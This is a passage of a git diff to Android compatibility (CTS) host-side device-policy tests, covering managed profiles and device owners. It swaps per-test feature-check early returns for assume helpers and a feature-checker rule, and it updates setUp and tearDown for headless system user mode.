-    private void provisionManagedProfile_accountCopy() throws Exception {
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
-                "testProvisionManagedProfile_accountCopy", mParentUserId);
-        mProfileUserId = getFirstManagedProfileUserId();
-    }
-}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java
index 4f8d87f..67cf227 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileRingtoneTest.java
@@ -24,9 +24,6 @@
 public class ManagedProfileRingtoneTest extends BaseManagedProfileTest {
     @Test
     public void testRingtoneSync() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         givePackageWriteSettingsPermission(mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
                 "testRingtoneSync", mProfileUserId);
@@ -35,9 +32,6 @@
     // Test if setting RINGTONE disables sync
     @Test
     public void testRingtoneSyncAutoDisableRingtone() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         givePackageWriteSettingsPermission(mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
                 "testRingtoneDisableSync", mProfileUserId);
@@ -46,9 +40,6 @@
     // Test if setting NOTIFICATION disables sync
     @Test
     public void testRingtoneSyncAutoDisableNotification() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         givePackageWriteSettingsPermission(mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
                 "testNotificationDisableSync", mProfileUserId);
@@ -57,9 +48,6 @@
     // Test if setting ALARM disables sync
     @Test
     public void testRingtoneSyncAutoDisableAlarm() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         givePackageWriteSettingsPermission(mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
                 "testAlarmDisableSync", mProfileUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index acc060c..560c3ed 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -16,7 +16,6 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -28,7 +27,7 @@
 import android.platform.test.annotations.LargeTest;
 import android.stats.devicepolicy.EventId;
 
-import com.android.compatibility.common.util.LocationModeSetter;
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.DoesNotRequireFeature;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.ddmlib.Log.LogLevel;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -46,11 +45,6 @@
  */
 public class ManagedProfileTest extends BaseManagedProfileTest {
 
-    private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
-    private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
-    private static final String FEATURE_CAMERA = "android.hardware.camera";
-    private static final String FEATURE_WIFI = "android.hardware.wifi";
-    private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
     private static final String DEVICE_OWNER_PKG = "com.android.cts.deviceowner";
     private static final String DEVICE_OWNER_APK = "CtsDeviceOwnerApp.apk";
     private static final String DEVICE_OWNER_ADMIN =
@@ -58,14 +52,12 @@
 
     @Test
     public void testManagedProfileSetup() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".ManagedProfileSetupTest",
                 mProfileUserId);
     }
 
+    @DoesNotRequireFeature
     @Test
     public void testMaxOneManagedProfile() throws Exception {
         int newUserId = -1;
@@ -75,9 +67,9 @@
         }
         if (newUserId > 0) {
             removeUser(newUserId);
-            if (mHasFeature) {
+            if (mFeaturesCheckerRule.hasRequiredFeatures()) {
                 // Exception is Android TV which can create multiple managed profiles
-                if (!hasDeviceFeature("android.software.leanback")) {
+                if (!isTv()) {
                     fail("Device must allow creating only one managed profile");
                 }
             } else {
@@ -91,9 +83,7 @@
      */
     @Test
     public void testProfileWifiCleanup() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature(FEATURE_WIFI)) {
-            return;
-        }
+        assumeHasWifiFeature();
 
         try (LocationModeSetter locationModeSetter = new LocationModeSetter(getDevice())) {
             locationModeSetter.setLocationEnabled(true);
@@ -114,10 +104,8 @@
 
     @LargeTest
     @Test
+    @Ignore
     public void testAppLinks_verificationStatus() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Disable all pre-existing browsers in the managed profile so they don't interfere with
         // intents resolution.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
@@ -152,10 +140,8 @@
 
     @LargeTest
     @Test
+    @Ignore
     public void testAppLinks_enabledStatus() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Disable all pre-existing browsers in the managed profile so they don't interfere with
         // intents resolution.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
@@ -207,10 +193,6 @@
 
     @Test
     public void testSettingsIntents() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SettingsIntentsTest",
                 mProfileUserId);
     }
@@ -218,9 +200,6 @@
     /** Tests for the API helper class. */
     @Test
     public void testCurrentApiHelper() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CurrentApiHelperTest",
                 mProfileUserId);
     }
@@ -228,18 +207,12 @@
     /** Test: unsupported public APIs are disabled on a parent profile. */
     @Test
     public void testParentProfileApiDisabled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ParentProfileTest",
                 "testParentProfileApiDisabled", mProfileUserId);
     }
 
     @Test
     public void testCannotCallMethodsOnParentProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ParentProfileTest",
                 "testCannotWipeParentProfile", mProfileUserId);
 
@@ -256,9 +229,6 @@
     // of tests (same applies to ComponentDisablingActivity).
     @Test
     public void testNoDebuggingFeaturesRestriction() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // If adb is running as root, then the adb uid is 0 instead of SHELL_UID,
         // so the DISALLOW_DEBUGGING_FEATURES restriction does not work and this test
         // fails.
@@ -285,10 +255,7 @@
     // Test the bluetooth API from a managed profile.
     @Test
     public void testBluetooth() throws Exception {
-        boolean hasBluetooth = hasDeviceFeature(FEATURE_BLUETOOTH);
-        if (!mHasFeature || !hasBluetooth) {
-            return;
-        }
+        assumeHasBluetoothFeature();
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BluetoothTest",
                 "testEnableDisable", mProfileUserId);
@@ -302,10 +269,8 @@
 
     @Test
     public void testCameraPolicy() throws Exception {
-        boolean hasCamera = hasDeviceFeature(FEATURE_CAMERA);
-        if (!mHasFeature || !hasCamera) {
-            return;
-        }
+        assumeHasCameraFeature();
+
         try {
             runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
                     "testDisableCameraInManagedProfile",
@@ -322,40 +287,29 @@
 
     @Test
     public void testOrganizationInfo() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
                 "testDefaultOrganizationColor", mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
                 "testDefaultOrganizationNameIsNull", mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
                 mProfileUserId);
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                runDeviceTestsAsUser(
-                        MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".OrganizationInfoTest",
-                        "testSetOrganizationColor", mProfileUserId);
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_ORGANIZATION_COLOR_VALUE)
-                    .setAdminPackageName(MANAGED_PROFILE_PKG)
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            runDeviceTestsAsUser(
+                    MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".OrganizationInfoTest",
+                    "testSetOrganizationColor", mProfileUserId);
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_ORGANIZATION_COLOR_VALUE)
+                .setAdminPackageName(MANAGED_PROFILE_PKG)
+                .build());
     }
 
     @Test
     public void testDevicePolicyManagerParentSupport() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG, ".DevicePolicyManagerParentSupportTest", mProfileUserId);
     }
 
     @Test
     public void testBluetoothContactSharingDisabled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
                     "testSetBluetoothContactSharingDisabled_setterAndGetter", mProfileUserId);
@@ -373,9 +327,6 @@
 
     @Test
     public void testCannotSetProfileOwnerAgain() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // verify that we can't set the same admin receiver as profile owner again
         assertFalse(setProfileOwner(
                 MANAGED_PROFILE_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mProfileUserId,
@@ -390,10 +341,6 @@
     @LargeTest
     @Test
     public void testCannotSetDeviceOwnerWhenProfilePresent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             installAppAsUser(DEVICE_OWNER_APK, mParentUserId);
             assertFalse(setDeviceOwner(DEVICE_OWNER_PKG + "/" + DEVICE_OWNER_ADMIN, mParentUserId,
@@ -407,9 +354,7 @@
 
     @Test
     public void testNfcRestriction() throws Exception {
-        if (!mHasFeature || !mHasNfcFeature) {
-            return;
-        }
+        assumeHasNfcFeatures();
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NfcTest",
                 "testNfcShareEnabled", mProfileUserId);
@@ -427,27 +372,19 @@
 
     @Test
     public void testIsProvisioningAllowed() throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
-        // In Managed profile user when managed profile is provisioned
+        // Not allowed to add a managed profile from another managed profile.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PreManagedProfileTest",
                 "testIsProvisioningAllowedFalse", mProfileUserId);
 
-        // In parent user when managed profile is provisioned
-        // It's allowed to provision again by removing the previous profile
+        // Not allowed to add a managed profile to the parent user if one already exists.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PreManagedProfileTest",
-                "testIsProvisioningAllowedTrue", mParentUserId);
+                "testIsProvisioningAllowedFalse", mParentUserId);
     }
 
     @Test
     public void testPhoneAccountVisibility() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        if (!shouldRunTelecomTest()) {
-            return;
-        }
+        assumeHasTelephonyAndConnectionServiceFeatures();
+
         try {
             // Register phone account in parent user.
             runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
@@ -484,12 +421,8 @@
     @LargeTest
     @Test
     public void testManagedCall() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        if (!shouldRunTelecomTest()) {
-            return;
-        }
+        assumeHasTelephonyAndConnectionServiceFeatures();
+
         getDevice().executeShellCommand("telecom set-default-dialer " + MANAGED_PROFILE_PKG);
 
         // Place a outgoing call through work phone account using TelecomManager and verify the
@@ -535,9 +468,8 @@
 
     @Test
     public void testTrustAgentInfo() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         // Set and get trust agent config using child dpm instance.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".TrustAgentInfoTest",
                 "testSetAndGetTrustAgentConfiguration_child",
@@ -566,9 +498,6 @@
     @FlakyTest
     @Ignore
     public void testBasicCheck() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Install SimpleApp in work profile only and check activity in it can be launched.
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BasicTest", mProfileUserId);
@@ -576,10 +505,7 @@
 
     @Test
     public void testBluetoothSharingRestriction() throws Exception {
-        final boolean hasBluetooth = hasDeviceFeature(FEATURE_BLUETOOTH);
-        if (!mHasFeature || !hasBluetooth) {
-            return;
-        }
+        assumeHasBluetoothFeature();
 
         // Primary profile should be able to use bluetooth sharing.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BluetoothSharingRestrictionPrimaryProfileTest",
@@ -590,25 +516,15 @@
                 "testOppDisabledWhenRestrictionSet", mProfileUserId);
     }
 
-    //TODO(b/130844684): Re-enable once profile owner on personal device can no longer access
-    //identifiers.
-    @Ignore
     @Test
     public void testProfileOwnerOnPersonalDeviceCannotGetDeviceIdentifiers() throws Exception {
         // The Profile Owner should have access to all device identifiers.
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DeviceIdentifiersTest",
                 "testProfileOwnerOnPersonalDeviceCannotGetDeviceIdentifiers", mProfileUserId);
     }
 
     @Test
     public void testSetProfileNameLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             runDeviceTestsAsUser(
                     MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".DevicePolicyLoggingTest",
@@ -620,10 +536,6 @@
 
     @Test
     public void userManagerIsManagedProfileReturnsCorrectValues() throws Exception {
-        if (!mHasFeature) {
-            return ;
-        }
-
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".UserManagerTest",
                 "testIsManagedProfileReturnsTrue", mProfileUserId);
 
@@ -634,9 +546,6 @@
     @Test
     public void testCanGetWorkShortcutIconDrawableFromPersonalProfile()
             throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".LauncherAppsTest",
                 "addDynamicShortcuts", mProfileUserId);
         try {
@@ -654,9 +563,6 @@
     @Test
     public void testCanGetPersonalShortcutIconDrawableFromWorkProfile()
             throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".LauncherAppsTest",
                 "addDynamicShortcuts", mPrimaryUserId);
         try {
@@ -676,10 +582,6 @@
 
     @Test
     public void testCanGetProfiles() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         // getAllProfiles should contain both the primary and profile
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".UserManagerTest",
                 "testGetAllProfiles", mPrimaryUserId);
@@ -696,10 +598,6 @@
 
     @Test
     public void testCanCreateProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         // remove pre-created profile
         removeUser(mProfileUserId);
 
@@ -711,9 +609,6 @@
     @Test
     public void testResolverActivityLaunchedFromPersonalProfileWithSelectedWorkTab()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SHARING_APP_1_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_2_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_1_APK, mProfileUserId);
@@ -734,9 +629,6 @@
     @Test
     public void testResolverActivityLaunchedFromWorkProfileWithSelectedPersonalTab()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SHARING_APP_1_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_2_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_1_APK, mProfileUserId);
@@ -757,9 +649,6 @@
     @Test
     public void testChooserActivityLaunchedFromPersonalProfileWithSelectedWorkTab()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SHARING_APP_1_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_2_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_1_APK, mProfileUserId);
@@ -780,9 +669,6 @@
     @Test
     public void testChooserActivityLaunchedFromWorkProfileWithSelectedPersonalTab()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SHARING_APP_1_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_2_APK, mPrimaryUserId);
         installAppAsUser(SHARING_APP_1_APK, mProfileUserId);
@@ -843,8 +729,4 @@
         runDeviceTestsAsUser(INTENT_SENDER_PKG, ".AppLinkTest", methodName,
                 mProfileUserId);
     }
-
-    private boolean shouldRunTelecomTest() throws DeviceNotAvailableException {
-        return hasDeviceFeature(FEATURE_TELEPHONY) && hasDeviceFeature(FEATURE_CONNECTION_SERVICE);
-    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTimeoutTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTimeoutTest.java
index dfbfef1..f15b6a8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTimeoutTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTimeoutTest.java
@@ -33,9 +33,8 @@
     @FlakyTest
     @Test
     public void testWorkProfileTimeoutBackground() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         setUpWorkProfileTimeout();
 
         startTestActivity(mPrimaryUserId, true);
@@ -48,9 +47,8 @@
     @LargeTest
     @Test
     public void testWorkProfileTimeoutIdleActivity() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         setUpWorkProfileTimeout();
 
         startTestActivity(mProfileUserId, false);
@@ -63,9 +61,8 @@
     @FlakyTest
     @Test
     public void testWorkProfileTimeoutUserActivity() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         setUpWorkProfileTimeout();
 
         startTestActivity(mProfileUserId, false);
@@ -78,9 +75,8 @@
     @FlakyTest
     @Test
     public void testWorkProfileTimeoutKeepScreenOnWindow() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         setUpWorkProfileTimeout();
 
         startTestActivity(mProfileUserId, true);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileWipeTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileWipeTest.java
index 60367d0..fe259ac 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileWipeTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileWipeTest.java
@@ -17,7 +17,6 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static org.junit.Assert.assertTrue;
 
@@ -54,9 +53,6 @@
     @FlakyTest
     @Test
     public void testWipeDataWithReason() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertTrue(listUsers().contains(mProfileUserId));
 
         // testWipeDataWithReason() removes the managed profile,
@@ -79,9 +75,6 @@
     @FlakyTest
     @Test
     public void testWipeDataLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertTrue(listUsers().contains(mProfileUserId));
 
         // Both the profile wipe and notification verification are done on the device side test
@@ -104,9 +97,6 @@
     @FlakyTest
     @Test
     public void testWipeDataWithoutReason() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertTrue(listUsers().contains(mProfileUserId));
 
         // testWipeDataWithoutReason() removes the managed profile,
@@ -132,9 +122,6 @@
      */
     @Test
     public void testWipeData() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertTrue(listUsers().contains(mProfileUserId));
 
         runDeviceTestsAsUser(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 2280348..2b49d1c 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -17,9 +17,7 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.platform.test.annotations.FlakyTest;
@@ -28,15 +26,11 @@
 
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
 
 import org.junit.Ignore;
 import org.junit.Test;
 
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.HashMap;
@@ -50,41 +44,51 @@
 public class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest {
 
     private static final String DELEGATION_NETWORK_LOGGING = "delegation-network-logging";
+    private static final String LOG_TAG_DEVICE_OWNER = "device-owner";
 
     private static final String ARG_SECURITY_LOGGING_BATCH_NUMBER = "batchNumber";
     private static final int SECURITY_EVENTS_BATCH_SIZE = 100;
 
+    private boolean mDeviceOwnerSet;
+
     @Override
     public void setUp() throws Exception {
         super.setUp();
 
-        if (mHasFeature) {
-            mUserId = mPrimaryUserId;
+        mUserId = mPrimaryUserId;
 
-            installAppAsUser(DEVICE_ADMIN_APK, mUserId);
-            if (!setDeviceOwner(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId, /*expectFailure*/
-                    false)) {
-                removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId);
-                getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-                fail("Failed to set device owner");
-            }
+        CLog.i("%s.setUp(): mUserId=%d, mPrimaryUserId=%d, mInitialUserId=%d, "
+                + "mDeviceOwnerUserId=%d", getClass(), mUserId, mPrimaryUserId, mInitialUserId,
+                mDeviceOwnerUserId);
+
+        installAppAsUser(DEVICE_ADMIN_APK, mDeviceOwnerUserId);
+        mDeviceOwnerSet = setDeviceOwner(DEVICE_ADMIN_COMPONENT_FLATTENED, mDeviceOwnerUserId,
+                /*expectFailure= */ false);
+
+        if (!mDeviceOwnerSet) {
+            removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId);
+            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+            fail("Failed to set device owner on user " + mDeviceOwnerUserId);
+        }
+        if (isHeadlessSystemUserMode()) {
+            affiliateUsers(DEVICE_ADMIN_PKG, mDeviceOwnerUserId, mPrimaryUserId);
+            grantDpmWrapperPermissions(DEVICE_ADMIN_PKG, mPrimaryUserId);
         }
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove device owner",
-                    removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId));
+        if (mDeviceOwnerSet && !removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mDeviceOwnerUserId)) {
+            // Don't fail as it could hide the real failure from the test method
+            CLog.e("Failed to remove device owner on user " + mDeviceOwnerUserId);
         }
+
         super.tearDown();
     }
 
     @Test
     public void testLockTask_unaffiliatedUser() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
 
         final int userId = createSecondaryUserAsProfileOwner();
         runDeviceTestsAsUser(
@@ -102,11 +106,11 @@
     }
 
     @FlakyTest(bugId = 127270520)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTask_affiliatedSecondaryUser() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+
         final int userId = createSecondaryUserAsProfileOwner();
         switchToUser(userId);
         setUserAsAffiliatedUserToPrimary(userId);
@@ -114,11 +118,19 @@
     }
 
     @Test
-    public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
+    public void testIsLockTaskPermitted_includesPolicyExemptApps() throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockTaskTest",
+                "testIsLockTaskPermittedIncludesPolicyExemptApps", mDeviceOwnerUserId);
+    }
 
+    @Test
+    public void testLockTask_policyExemptApps() throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockTaskTest",
+                "testSetLockTaskPackagesIgnoresExemptApps", mDeviceOwnerUserId);
+    }
+
+    @Test
+    public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
         setUpDelegatedCertInstallerAndRunTests(() ->
                 runDeviceTestsAsUser("com.android.cts.certinstaller",
                         ".DelegatedDeviceIdAttestationTest",
@@ -149,32 +161,23 @@
     @FlakyTest(bugId = 137088260)
     @Test
     public void testWifi() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
-            return;
-        }
+        assumeHasWifiFeature();
+
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".WifiTest", "testGetWifiMacAddress", mUserId);
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".WifiTest", "testGetWifiMacAddress");
-            }, new DevicePolicyEventWrapper.Builder(EventId.GET_WIFI_MAC_ADDRESS_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".WifiTest", "testGetWifiMacAddress");
+        }, new DevicePolicyEventWrapper.Builder(EventId.GET_WIFI_MAC_ADDRESS_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .build());
     }
 
     @Test
     public void testAdminConfiguredNetworks() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".AdminConfiguredNetworksTest", mPrimaryUserId);
     }
 
     @Test
     public void testSetTime() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".TimeManagementTest", "testSetTime");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_TIME_VALUE)
@@ -186,9 +189,6 @@
 
     @Test
     public void testSetTimeZone() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".TimeManagementTest", "testSetTimeZone");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_TIME_ZONE_VALUE)
@@ -205,15 +205,18 @@
                         .setAdminPackageName(DELEGATE_APP_PKG)
                         .setBoolean(true)
                         .setInt(1)
+                        .setStrings(LOG_TAG_DEVICE_OWNER)
                         .build(),
                 new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_NETWORK_LOGS_VALUE)
                         .setAdminPackageName(DELEGATE_APP_PKG)
                         .setBoolean(true)
+                        .setStrings(LOG_TAG_DEVICE_OWNER)
                         .build(),
                 new DevicePolicyEventWrapper.Builder(EventId.SET_NETWORK_LOGGING_ENABLED_VALUE)
                         .setAdminPackageName(DELEGATE_APP_PKG)
                         .setBoolean(true)
                         .setInt(0)
+                        .setStrings(LOG_TAG_DEVICE_OWNER)
                         .build(),
         };
         result.put(".NetworkLoggingDelegateTest", expectedMetrics);
@@ -229,27 +232,17 @@
 
     @Test
     public void testLockScreenInfo() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockScreenInfoTest", mUserId);
 
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".LockScreenInfoTest", "testSetAndGetLockInfo");
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_DEVICE_OWNER_LOCK_SCREEN_INFO_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".LockScreenInfoTest", "testSetAndGetLockInfo");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_DEVICE_OWNER_LOCK_SCREEN_INFO_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .build());
     }
 
     @Test
